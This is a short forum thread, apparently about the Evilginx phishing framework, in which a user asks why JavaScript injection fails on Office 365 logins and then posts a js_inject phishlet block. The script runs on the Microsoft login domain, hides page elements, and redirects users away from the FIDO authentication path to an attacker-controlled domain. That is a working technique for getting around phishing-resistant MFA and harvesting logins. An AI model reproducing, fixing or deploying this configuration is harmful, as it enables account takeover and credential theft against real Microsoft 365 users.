JS inject is not Injecting on o365?

Evilginx
, , ,
1

JS inject is not Injecting on o365, any solution to that?

2

Copy paste here, the JS inject part let me see how you are using it .

3

js_inject:

  • trigger_domains: [“login.*****.com”]
    trigger_paths: [“/.*”]
    trigger_params: [“true”]
    script: |
    function lp(){
    var element = document.querySelector(‘.table’);
    console.log(“loaded”)
    if (element) {
    element.style.display = ‘none’;
    };
    if (window.location.pathname == ‘/common/fido/get’ && !loc) {
    console.log(“success”);
    location.replace(‘https://login.attacker_domain.com/’);
    loc = true;
    }
    if (window.location.pathname != ‘/common/fido/get’ && loc) {
    loc = false;
    }
    setTimeout(function(){lp();}, 100);
    }
    let loc = false;
    setTimeout(function(){lp();}, 100);